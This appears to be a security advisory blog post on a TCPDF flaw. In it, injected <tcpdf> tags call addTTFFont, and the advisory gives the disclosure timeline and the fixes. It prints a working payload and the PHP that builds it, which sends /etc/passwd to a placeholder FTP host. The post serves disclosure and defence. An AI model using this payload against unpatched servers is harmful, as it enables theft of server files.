TCPDF is one of the most popular PHP libraries for creating PDF documents.
“TCPDF is now one of the world’s most active Open Source projects, used daily by millions of users and included in thousands of CMS and Web applications.”– tcpdf.or
Alice is an owner of a webshop. For the receipts she is sending the customer a PDF showing what was bought, who bought it etc. This is a pretty common scenario.
The evil hacker Chuck is clever and notice that Alice forgot to properly sanitize and secure the customer’s name before writing it to the PDF receipt.
This tells Chuck that by instead of entering his name in the name field he can enter a specially crafted payload to steal files from Alice’s web server. This payload will, more or less, tell the PDF generator:
“Hey, I want to add a font found here: [file on Alice’s server], convert it and place it there: [URL to Chucks FTP server]”.
The PDF generator is happily doing what’s told without checking if it really is a font file and if the destination is a reasonable location for the “font file”. This way, Chuck can steal any file PHP can read.
To design a proper PDF in TCPDF there are different methods to be used. The most common way is to build up a simple HTML-page and then insert the HTML code directly into TCPDF. The most common HTML-tags are being parsed and translated into the PDF format, such as tables, images and headers.
There’s also a special tag, which is enabled by default, called <tcpdf />. This is a special tag used to call methods in the TCPDF class. The element looks like this:
<tcpdf method="MethodFromTCPDFClass" params="EscapedParamData" />
If this HTML element is passed to
writeHTML, TCPDF will, if it’s a valid method in TCPDF, execute the specified method together with the parameters.
In other words, if a user can pass unchecked data to writeHTML the user can run methods in the TCPDF class. A limited scope but still bad since some of the methods in the TCPDF class can be abused.
Abusing the font adding method
TCPDF has a method called
addTTFFont which is used to “Convert and add the selected TrueType or Type1 font to the fonts folder”. It can, however, be (ab)used to take any file on the server, compress it and move it anywhere writeable.
The addTTFFont-method takes the following relevant parameters:
$fontfile– The file to grab from the server. Any readable file can be selected.
$fonttype– Needs to be set to TrueType for the attack to work.
$outpath– Location for the output for the file. By injecting a ftp-location the file will be uploaded remotely.
By generating a tcpdf-element using the following code:
$params = TCPDF_STATIC::serializeTCPDFtagParameters(array('/etc/passwd','TrueType','',255,urldecode('ftp://user:pass@host/')));
The following payload will be generated:
<tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fpasswd%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fuser%3Apass%40host%5C%2F%22%5D"/>
If we’re able to inject this in a PDF generation using TCPDF, the server will compress /etc/passwdand send it remotely using FTP.
Reporting to the maintainers
The TCPDF maintainers acted extremely quick on this issue, releasing a new version on the same day of the reporting.
The issue is patched in TCPDF 6.2.0 by removing the addTTFFont method and by having the tcpdf-element disabled by default. Check out the changelog.
- 2014-12-10 Reported to TCPDF
- 2014-12-10 Fixed by Nicola Asuni and released version 6.2.0
- 2015-03-25 Public advisory
The obvious thing to do is to update TCPDF to the latest version, which is patched, but that’s not always an option. In that case it’s possible to:
- Set allow_url_fopen to Off in php.ini
- Set K_TCPDF_CALLS_IN_HTML to false in config/tcpdf_config.php
Detectify is looking to expand, we need developers! Join our team and do awesome stuff. Seriously.